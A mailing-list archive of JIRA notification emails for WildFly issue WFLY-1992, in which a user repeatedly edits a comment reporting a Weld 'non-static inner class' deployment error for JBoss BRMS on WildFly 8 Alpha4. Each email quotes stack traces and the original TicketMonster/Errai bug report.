C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\spi\main\weld-spi-2.0.SP1.jar

So it appears that my Wildfly build already has Weld 2.0.3, so I'm confused now. Is this the same issue, a similar issue, or something completely different? Should I report it on weld, or open another ticket here? 

(Or is it a BRMS problem?)

I'm attaching the log.

(P.S. how do I format for logs?)
-------------
13:37:16,320 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: Failed to start service
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) [rt.jar:1.7.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) [rt.jar:1.7.0_21]
	at java.lang.Thread.run(Unknown Source) [rt.jar:1.7.0_21]
Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl] public  class org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation cannot be a non-static inner class
	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	... 3 more


                
      was (Author: rick_777):
    I got the same problem when trying to install JBoss BRMS on wildfly-8.0.0.Alpha4. So, exactly, how do I fix (or work around) this error?

Also, I checked the Wildfly 8 and this is where weld is installed:

C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\as\jsf-injection\main\weld-core-jsf-2.0.3.Final.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\api\main\weld-api-2.0.SP1.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\core\main\weld-core-impl-2.0.3.Final.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\spi\main\weld-spi-2.0.SP1.jar

So it appears that my Wildfly build already has Weld 2.0.3, so I'm confused now. Should I report this in the weld project, or is it a BRMS problem, or is it a WildFly problem?

I'm attaching the log.

-------------
13:37:16,320 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: Failed to start service
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) [rt.jar:1.7.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) [rt.jar:1.7.0_21]
	at java.lang.Thread.run(Unknown Source) [rt.jar:1.7.0_21]
Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl] public  class org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation cannot be a non-static inner class
	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	... 3 more


                  
> Invalid deployment in WildFly 8 - Errai, Weld, TicketMonster
> ------------------------------------------------------------
>
>                 Key: WFLY-1992
>                 URL: https://issues.jboss.org/browse/WFLY-1992
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Emmanuel Bernard
>
> I am deploying TicketMonster which includes Errai and receives a deployment error that is not happening in JBoss AS 7.x nor EAP 6.x.
> Note that it could be
> - a WildFly error per se
> - a Weld error or change
> - an Errai error
> I am opening the issue here to track the problem down to its cause.
> {code}
> 15:00:17,818 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (MSC service thread 1-5) starting errai cdi ...
> 15:00:18,731 INFO  [org.jboss.errai.reflections.Reflections] (Thread-106) Reflections took 346 ms to scan 7 urls, producing 387 keys and 1384 values [using 2 cores]
> 15:00:18,815 WARN  [org.jboss.weld.Bean] (MSC service thread 1-5) WELD-001529 An InjectionTarget is created for a class org.jboss.errai.bus.server.service.ErraiServiceImpl which does not have any appropriate constructor.
> 15:00:18,828 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (pool-20-thread-1) all services registered successfully
> 15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-2) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.ErraiServiceBean at 7adf1c57 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
> 15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-3) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.MessageBusBean at 19b6b8f5 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
> 15:00:18,945 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: Failed to start service
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class
> 	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
> 	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
> 	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
> 	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
> 	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	... 3 more
> 15:00:18,975 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("deploy") failed - address: ([("deployment" => "ticket-monster.war")]) - failure description: {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
>     Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
> 15:00:18,977 ERROR [org.jboss.as.server] (DeploymentScanner-threads - 1) JBAS015870: Deploy of deployment "ticket-monster.war" was rolled back with the following failure message: 
> {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
>     Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
> 15:00:18,986 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 2 of 2) Service 'ticket-monster.war#primary'
> 15:00:18,987 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000227: Running hbm2ddl schema export
> 15:00:19,004 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000230: Schema export complete
> 15:00:19,007 INFO  [org.jboss.weld.deployer] (MSC service thread 1-4) JBAS016009: Stopping weld service for deployment ticket-monster.war
> 15:00:19,021 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 1 of 2) Service 'ticket-monster.war#primary'
> 15:00:19,022 INFO  [org.jboss.as.connector.subsystems.datasources] (MSC service thread 1-6) JBAS010409: Unbound data source [java:jboss/datasources/ticket-monsterDS]
> 15:00:19,050 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-4) JBAS015877: Stopped deployment ticket-monster.war (runtime-name: ticket-monster.war) in 72ms
> 15:00:19,052 INFO  [org.jboss.as.controller] (DeploymentScanner-threads - 1) JBAS014774: Service status report
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.deployment.unit."ticket-monster.war".component."javax.servlet.jsp.jstl.tlv.ScriptFreeTLV".START (missing) dependents: [service jboss.deployment.unit."ticket-monster.war".deploymentCompleteService, service jboss.undertow.deployment.default-host./ticket-monster] 
> JBAS014776:    Newly corrected services:
>       service jboss.deployment.unit."ticket-monster.war".ee.ComponentRegistry (no longer required)
> JBAS014777:   Services which failed to start:      service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 14:58:03 2013
From: jira-events at lists.jboss.org (Ricardo Garcia (JIRA))
Date: Sun, 22 Sep 2013 14:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1992) Invalid deployment in WildFly
 8 - Errai, Weld, TicketMonster
In-Reply-To: <JIRA.12499827.1378213572000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499827.1378213572000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499827.1378213572000.38409.1379876283541@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1992?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806290#comment-12806290 ] 

Ricardo Garcia edited comment on WFLY-1992 at 9/22/13 2:56 PM:
---------------------------------------------------------------

I got the same (or a very similar) problem when trying to install JBoss BRMS on wildfly-8.0.0.Alpha4. So, exactly, how do I fix (or work around) this error?

Also, I checked the Wildfly 8 and this is where weld is installed:

C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\as\jsf-injection\main\weld-core-jsf-2.0.3.Final.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\api\main\weld-api-2.0.SP1.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\core\main\weld-core-impl-2.0.3.Final.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\spi\main\weld-spi-2.0.SP1.jar

So it appears that my Wildfly build already has Weld 2.0.3, so I'm confused now. Is this the same issue, a similar issue, or something completely different? Should I report it on weld, or open another ticket here? 

(Or is it a BRMS problem?)

I'm attaching the log.

{code:text}
13:37:16,320 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: Failed to start service
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) [rt.jar:1.7.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) [rt.jar:1.7.0_21]
	at java.lang.Thread.run(Unknown Source) [rt.jar:1.7.0_21]
Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl] public  class org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation cannot be a non-static inner class
	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	... 3 more
{code}

                
      was (Author: rick_777):
    I got the same (or a very similar) problem when trying to install JBoss BRMS on wildfly-8.0.0.Alpha4. So, exactly, how do I fix (or work around) this error?

Also, I checked the Wildfly 8 and this is where weld is installed:

C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\as\jsf-injection\main\weld-core-jsf-2.0.3.Final.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\api\main\weld-api-2.0.SP1.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\core\main\weld-core-impl-2.0.3.Final.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\spi\main\weld-spi-2.0.SP1.jar

So it appears that my Wildfly build already has Weld 2.0.3, so I'm confused now. Is this the same issue, a similar issue, or something completely different? Should I report it on weld, or open another ticket here? 

(Or is it a BRMS problem?)

I'm attaching the log.

(P.S. how do I format for logs?)
-------------
13:37:16,320 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: Failed to start service
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) [rt.jar:1.7.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) [rt.jar:1.7.0_21]
	at java.lang.Thread.run(Unknown Source) [rt.jar:1.7.0_21]
Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl] public  class org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation cannot be a non-static inner class
	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	... 3 more


                  
> Invalid deployment in WildFly 8 - Errai, Weld, TicketMonster
> ------------------------------------------------------------
>
>                 Key: WFLY-1992
>                 URL: https://issues.jboss.org/browse/WFLY-1992
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Emmanuel Bernard
>
> I am deploying TicketMonster which includes Errai and receives a deployment error that is not happening in JBoss AS 7.x nor EAP 6.x.
> Note that it could be
> - a WildFly error per se
> - a Weld error or change
> - an Errai error
> I am opening the issue here to track the problem down to its cause.
> {code}
> 15:00:17,818 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (MSC service thread 1-5) starting errai cdi ...
> 15:00:18,731 INFO  [org.jboss.errai.reflections.Reflections] (Thread-106) Reflections took 346 ms to scan 7 urls, producing 387 keys and 1384 values [using 2 cores]
> 15:00:18,815 WARN  [org.jboss.weld.Bean] (MSC service thread 1-5) WELD-001529 An InjectionTarget is created for a class org.jboss.errai.bus.server.service.ErraiServiceImpl which does not have any appropriate constructor.
> 15:00:18,828 INFO  [org.jboss.errai.cdi.server.CDIExtensionPoints] (pool-20-thread-1) all services registered successfully
> 15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-2) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.ErraiServiceBean at 7adf1c57 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
> 15:00:18,928 WARN  [org.jboss.weld.Bootstrap] (weld-worker-3) WELD-001473 javax.enterprise.inject.spi.Bean implementation org.jboss.errai.cdi.server.MessageBusBean at 19b6b8f5 declared a normal scope but does not implement javax.enterprise.inject.spi.PassivationCapable. It won't be possible to inject this bean into a bean with passivating scope (@SessionScoped, @ConversationScoped). This can be fixed by assigning the Bean implementation a unique id by implementing the PassivationCapable interface.
> 15:00:18,945 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator: Failed to start service
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class
> 	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
> 	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
> 	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
> 	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
> 	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
> 	... 3 more
> 15:00:18,975 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("deploy") failed - address: ([("deployment" => "ticket-monster.war")]) - failure description: {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
>     Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
> 15:00:18,977 ERROR [org.jboss.as.server] (DeploymentScanner-threads - 1) JBAS015870: Deploy of deployment "ticket-monster.war" was rolled back with the following failure message: 
> {"JBAS014671: Failed services" => {"jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator" => "org.jboss.msc.service.StartException in service jboss.deployment.unit.\"ticket-monster.war\".component.\"org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1\".WeldInstantiator: Failed to start service
>     Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl]  class org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1 cannot be a non-static inner class"}}
> 15:00:18,986 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 2 of 2) Service 'ticket-monster.war#primary'
> 15:00:18,987 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000227: Running hbm2ddl schema export
> 15:00:19,004 INFO  [org.hibernate.tool.hbm2ddl.SchemaExport] (ServerService Thread Pool -- 73) HHH000230: Schema export complete
> 15:00:19,007 INFO  [org.jboss.weld.deployer] (MSC service thread 1-4) JBAS016009: Stopping weld service for deployment ticket-monster.war
> 15:00:19,021 INFO  [org.jboss.as.jpa] (ServerService Thread Pool -- 73) JBAS011410: Stopping Persistence Unit (phase 1 of 2) Service 'ticket-monster.war#primary'
> 15:00:19,022 INFO  [org.jboss.as.connector.subsystems.datasources] (MSC service thread 1-6) JBAS010409: Unbound data source [java:jboss/datasources/ticket-monsterDS]
> 15:00:19,050 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-4) JBAS015877: Stopped deployment ticket-monster.war (runtime-name: ticket-monster.war) in 72ms
> 15:00:19,052 INFO  [org.jboss.as.controller] (DeploymentScanner-threads - 1) JBAS014774: Service status report
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.deployment.unit."ticket-monster.war".component."javax.servlet.jsp.jstl.tlv.ScriptFreeTLV".START (missing) dependents: [service jboss.deployment.unit."ticket-monster.war".deploymentCompleteService, service jboss.undertow.deployment.default-host./ticket-monster] 
> JBAS014776:    Newly corrected services:
>       service jboss.deployment.unit."ticket-monster.war".ee.ComponentRegistry (no longer required)
> JBAS014777:   Services which failed to start:      service jboss.deployment.unit."ticket-monster.war".component."org.jboss.errai.bus.server.servlet.StandardAsyncServlet$1".WeldInstantiator
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep 22 14:58:03 2013
From: jira-events at lists.jboss.org (Ricardo Garcia (JIRA))
Date: Sun, 22 Sep 2013 14:58:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1992) Invalid deployment in WildFly
 8 - Errai, Weld, TicketMonster
In-Reply-To: <JIRA.12499827.1378213572000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499827.1378213572000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499827.1378213572000.38411.1379876283618@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1992?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806290#comment-12806290 ] 

Ricardo Garcia edited comment on WFLY-1992 at 9/22/13 2:57 PM:
---------------------------------------------------------------

I got the same (or a very similar) problem when trying to install JBoss BRMS on wildfly-8.0.0.Alpha4. So, exactly, how do I fix (or work around) this error?

Also, I checked the Wildfly 8 and this is where weld is installed:

C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\as\jsf-injection\main\weld-core-jsf-2.0.3.Final.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\api\main\weld-api-2.0.SP1.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\core\main\weld-core-impl-2.0.3.Final.jar
C:\wildfly-8.0.0.Alpha4\modules\system\layers\base\org\jboss\weld\spi\main\weld-spi-2.0.SP1.jar

So it appears that my Wildfly build already has Weld 2.0.3, so I'm confused now. Is this the same issue, a similar issue, or something completely different? Should I report it on weld, or open another ticket here? 

(Or is it a BRMS problem?)

I'm attaching the log.

{noformat}
13:37:16,320 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC000001: Failed to start service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: org.jboss.msc.service.StartException in service jboss.deployment.unit."jboss-brms.war".component."org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation".WeldInstantiator: Failed to start service
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1900) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source) [rt.jar:1.7.0_21]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source) [rt.jar:1.7.0_21]
	at java.lang.Thread.run(Unknown Source) [rt.jar:1.7.0_21]
Caused by: org.jboss.weld.exceptions.DefinitionException: WELD-000070 Simple bean [EnhancedAnnotatedTypeImpl] public  class org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation cannot be a non-static inner class
	at org.jboss.weld.injection.producer.BasicInjectionTarget.checkType(BasicInjectionTarget.java:81)
	at org.jboss.weld.injection.producer.BasicInjectionTarget.<init>(BasicInjectionTarget.java:69)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:48)
	at org.jboss.as.weld.injection.NonContextualComponentInjectionTarget.<init>(NonContextualComponentInjectionTarget.java:44)
	at org.jboss.as.weld.injection.WeldComponentService.start(WeldComponentService.java:129)
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	... 3 more
{noformat}
                
